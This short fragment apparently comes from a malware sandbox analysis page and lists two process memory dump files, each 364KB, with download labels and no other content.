                        • memory/3684-947-0x0000000000400000-0x000000000045B000-memory.dmp

                          Filesize

                          364KB

                          Download

                        • memory/3684-945-0x0000000000400000-0x000000000045B000-memory.dmp

                          Filesize

                          364KB

                          Download